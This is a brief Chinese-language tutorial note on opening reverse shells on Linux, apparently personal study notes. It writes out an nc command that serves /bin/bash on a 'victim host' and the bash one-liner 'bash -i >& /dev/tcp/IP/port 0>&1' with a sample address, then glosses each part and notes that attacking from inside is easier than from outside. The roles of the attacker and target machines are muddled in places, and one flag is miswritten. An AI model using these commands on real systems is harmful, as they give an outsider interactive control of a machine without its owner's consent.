linux反弹shell

nc工具反弹shell

下面是windows主机找到nc打开1.bat输入：nc 连接的IP地址 端口

受害主机是nc -lvvp 端口 -t -e /bin/bash

kali系统连接

bash命令反弹

本地 nc -l -p 端口，

受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1

注：

bash -I 产生交互环境，

>& 前后相连，  

/dev/tcp/192.168.246.130/8006  本机和目标130建立一个TCP连接，端口8006

0>&1输入输出内容结合

kali主机主动发起与目标130这个nickkali建立连接，同时用bash命令建立交互，达到nickkali能操作kali主机的目标（原理：外部入侵困难，内部挖墙根容易）